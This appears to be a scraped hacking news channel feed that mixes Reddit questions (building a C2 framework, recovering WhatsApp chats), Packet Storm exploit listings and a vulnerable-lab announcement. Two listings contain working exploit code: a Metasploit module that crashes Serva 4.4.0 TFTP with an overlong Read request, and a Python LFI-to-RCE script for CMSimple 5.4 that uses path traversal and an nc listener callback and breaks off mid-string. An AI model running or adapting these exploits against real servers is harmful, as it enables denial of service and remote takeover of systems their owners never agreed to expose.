Hacking Articles Tips Tricks Videos Tutorials

Creating your own C2 Framework

hacking: security in practice
Creating your own C2 Framework

Has anybody here any experience on the matter? I am creating one for my university Thesis and i don't know where to start. I am good at programming, can somebody give me a small guide on where to start, what to expect, what languages to use etc. Thanks in advance.

submitted by /u/JuicyNatural
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Has anybody here any experience on the matter? I am creating one for my university Thesis and i don't know where to start. I am good at...

3 viewsedited 16:41

Getting backup of whatsapp and maybe even notes ..

hacking: security in practice
Getting backup of whatsapp and maybe even notes ..

I need help… please … So i lost my oneplus some months ago and i dont know about backup and stuff …. I actually lost it months ago … i have done a lil research … all i have is maybe phone details like model number and stuff and the number i used for whatsapp … if it is possible to grt those chats by a number … please tell me … please I have many important things in that … please

submitted by /u/anotherweeb-_-
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I need help… please … So i lost my oneplus some months ago and i dont know about backup and stuff …. I actually lost it months ago … i have done...

4 viewsedited 16:41

4 views17:37

3 views17:37

Exploit Collector
Serva 4.4.0 TFTP Remote Buffer Overflow

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
The Serva TFTP server version 4.4.0 can be brought down by sending a special Read request.

MD5 | 75523ccfe4170ca41342bbd1293163fb

Download

# Exploit Title: Serva 4.4.0 TFTP Server Remote Buffer Overflow (Metasploit)
# Date: 2021-11-23
# Exploit Author: Yehia Elghaly
# Vendor Homepage: https://www.vercot.com/
# Software Link : https://www.vercot.com/~serva/download/Serva_Community_v4.4.0-21081411.zip
# Tested Version: 4.4.0
# Tested on: Windows XP SP3 -  Windows 7 Professional x86 SP1 - Windows 10 x64

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name'           => 'Serva 4.4.0 TFTP Remote Buffer Overflow',
'Description'    => %q{
The Serva TFTP server version 4.4.0 can be
brought down by sending a special Read request.
},
'Author'         => 'Yehia Elghaly',
'License'        => MSF_LICENSE,
'DisclosureDate' => '2021-11-23'))

register_options([Opt::RPORT(69)])
end

def run
connect_udp
print_status("Sending Read request...")
sploit  = "\x00\x01"
sploit += "A" * 257
sploit += "\x00"
sploit += "netascii"
sploit += "\x00"
udp_sock.put(sploit)
disconnect_udp
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Serva 4.4.0 TFTP Remote Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 17:37

3 views17:37

Exploit Collector
CMSimple 5.4 Local File Inclusion / Remote Code Execution

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
CMSimple version 5.4 local file inclusion to remote code execution exploit.

MD5 | 7d206d745fd2639b990408dc45a77919

Download
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version: CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup
x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
try:
global Time
s = requests.Session()
headers= {"Content-Type": "application/x-www-form-urlencoded"}

data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
if response.cookies['passwd']:
print("(+) Sucessfully Logged In With " + User + ":" + Password)

cookies = response.cookies
params = (('file', 'config'),('action', 'array'),)
response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
soup = BeautifulSoup(response.text, 'lxml')
CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
print("(+) Get CSRF Token : [ " + CsrfValue + " ]")
data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
print("(+) Changing Functions file Done ")
print("(+) Check Your nc listner on " + LPORT)
except Exception as error:
print("Error, Exiting;( ")
print(error)
pass
def fuzz():
while True:
try:
sessionName = "S1lv3r"
cookies = {'PHPSESSID': sessionName}
files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
'
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

CMSimple 5.4 Local File Inclusion / Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:37

5 views17:37

Exploit Collector
Remote Code Execution In WhatsApp

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Whitepaper that gives an analysis of the remote code execution vulnerability noted in CVE-2019-11932 for WhatsApp that affects versions prior to 2.19.244. Written in Spanish.

MD5 | 31d209ac94755e2988452af4a8d5628e

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Remote Code Execution In WhatsApp

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 17:37

6 views17:37

Exploit Collector
HTTPDebuggerPro 9.11 Unquoted Service Path

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
HTTPDebuggerPro version 9.11 suffers from an unquoted service path vulnerability.

MD5 | 15b26d961cda9e9ff6659150b6459669

Download

# Exploit Title: HTTPDebuggerPro 9.11 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 23/11/2021
# Vendor Homepage: https://www.httpdebugger.com
# Software Link: https://www.httpdebugger.com/download.html
# Version: 9.11
# Tested on: Windows 10 x64

SERVICE_NAME: HTTPDebuggerPro
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : "C:\Program Files (x86)\HTTPDebuggerPro\HTTPDebuggerSvc.exe"
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : HTTP Debugger Pro
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

HTTPDebuggerPro 9.11 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:37

Exploit Collector
Apple ColorSync CMMNDimLinear::Interpolate Uninitialized Memory

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Apple ColorSync suffers from a use of uninitialized memory in CMMNDimLinear::Interpolate.

MD5 | adb6e755eddd6edbb2599dcfeeefff61

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Apple ColorSync CMMNDimLinear::Interpolate Uninitialized Memory

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:37

Dark Reading: Attacks/Breaches
When Will Security Frameworks Catch Up With the New Cybersecurity Normal?

Standards need to reflect that most endpoints will be remote and/or wireless.

5 views18:28

Source

Dark Reading: Attacks/Breaches
In Appreciation: Dark Reading's Tim Wilson

Dark Reading co-founder and editor-in-chief Tim Wilson passed away on Nov. 23.

5 views18:28

Source

4 views19:16

4 views19:16

Kali Linux Tutorials
TIWAP : Totally Insecure Web Application Project

TIWAP is a web security testing lab made using Flask for budding security enthusiasts to learn about various web vulnerabilities. Inspired by DVWA, the contributors have tried their best to regenerate various web vulnerabilities

The application is solely made for educational purpose and to learn web hacking in a legal environment.

Setup and Installation

To keep the installation and setup easy, we have configured everything for you. All you need is Docker on your system.

Once you are done with docker installation, run the following commands.

git clone https://github.com/tombstoneghost/TIWAP
cd TIWAP
docker-compose up

Note: It works only on Linux as of now and windows compatibility is work under progress

Once the lab is started, you can log in using the default credentials.
Username: admin
Password: admin

Tech Stack

Front-End: HTML, CSS and JavaScript
Back-End: Python – Flask
Databases: SQLite3 and MongoDB

Vulnerabilities

Currently, we have 20 vulnerabilities in the lab. All listed below:

* SQL Injection
* Blind SQL Injection
* NoSQL Injection
* Command Injection
* Business Logic Flaw
* Sensitive Data Exposure
* XML External Entities
* Security Misconfiguration
* Reflected XSS
* Stored XSS
* DOM Based XSS
* HTML Injection
* Improper Certificate Validation
* Hardcoded Credentials
* Insecure File Upload
* Brute Force
* Directory Traversal
* Cross-Site Request Forgery (CSRF)
* Server-Side Request Forgery (SSRF)
* Server-Side Template Injection (SSTI)

Each vulnerability is having 3 difficulty levels, namely Low, Medium and Hard. These levels can be set from the settings page.
Download

5 views19:16

6 views19:16